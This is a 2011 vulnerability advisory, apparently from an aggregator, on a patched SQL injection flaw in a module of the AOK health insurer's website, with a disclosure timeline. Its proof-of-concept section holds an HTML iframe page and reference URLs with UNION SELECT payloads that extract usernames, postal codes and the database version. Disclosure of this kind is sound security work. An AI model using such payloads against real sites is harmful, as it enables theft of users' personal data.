AOK GesundheitsKasse - SQL Injection Vulnerability

🗓️ 31 Jul 2011 00:00:00Reported by Vulnerability Research Laboratory - N/A AnonymousType
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AOK GesundheitsKasse SQL Injection Vulnerability, High Severity, Remote Attac
Document Title:
===============
AOK GesundheitsKasse - SQL Injection Vulnerability



Release Date:
=============
2011-07-31


Vulnerability Laboratory ID (VL-ID):
====================================
157


Common Vulnerability Scoring System:
====================================
7.3


Product & Service Introduction:
===============================
Seit 125 Jahren steht die AOK als größte Krankenversicherung in Deutschland für Sicherheit und umfassende 
medizinische Versorgung im Krankheitsfall. Die AOK betreut etwa 24 Millionen Menschen - fast ein Drittel der 
Bevölkerung in Deutschland. Rund 53.900 Mitarbeiterinnen und Mitarbeiter garantieren in ca. 1.250 Geschäftsstellen 
einen leistungsstarken Service. Mit rund 35 Prozent Marktanteil ist die AOK Marktführer in der gesetzlichen Krankenversicherung.
Die AOK ist mehr als eine Krankenversicherung. Sie hat ein umfassendes Gesundheitsmanagement etabliert. 
Das heißt: Ein konsequent umgesetztes Qualitätsmanagement geht einher mit einer erhöhten Wirtschaftlichkeit der Versorgung.

(Copy of the Vendor Homepage: http://www.aok.de   Designer: http://www.red-dot.de/)


Abstract Advisory Information:
==============================
An anonymous laboratory researcher discovered on the laboratory a SQL-Injection Vulnerability on AOKs Gesundheitskasse vendor website.


Vulnerability Disclosure Timeline:
==================================
2011-02-06:	Vendor Notification
2011-06-03:	Vendor Response/Feedback
2011-07-27:	Vendor Fix/Patch
2011-08-02:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A SQl-Injection vulnerability is detected on the famous AOK vendor website. The vulnerability allows an remote attacker 
to read user details, profiles & e-mails of registered customers from the application dbms. 
The vulnerability is located on the dsp_font_main module of the aok website.

Vulnerable Module(s):
			                        [+] dsp_front_main

Pictures:
		     ../sql1.png
		     ../sql2.png
		     ../sql3.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration ...

<html><head>
<title>AOK.de - Remote SQL-Injection Exploit</title>
<center><b>AOK.de - Remote SQL-Injection Exploit</b></center><br><br>
<iframe src=https://www.website.de/bawue/tool/cash-und-connections/front_web/dsp_front_main.php?action=showartikel&id=8805&artikel_id=
-60213%20union%20select%201,2,3,concat_ws(0x3a,username,plz),@@version,6%20from%20user width=1000 height=1000><br><br><br>
</head></html>

Reference:
https://www.aok.de/bawue/tool/cash-und-connections/front_web/dsp_front_main.php?action=showartikel&id=8805&artikel_id=-60213%20union%20select%201,2,3,concat_ws(0x3a,username,plz),@@version,6%20from%20user
https://www.aok.de/bawue/tool/cash-und-connections/front_web/dsp_front_main.php?action=showartikel&id=8805&artikel_id=-60213%20union%20select%201,2,3,count(username),@@version,6%20from%20user
https://www.aok.de/bawue/tool/cash-und-connections/front_web/dsp_front_main.php?action=showartikel&id=8805&artikel_id=-60213%20union%20select%201,2,3,4,@@version,6


Solution - Fix & Patch:
=======================
2011-07-27:	Vendor Fix/Patch


Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory - N/A  Anonymous


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=========================
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31 Jul 2011 00:00Current
7.1High risk
Vulners AI Score7.1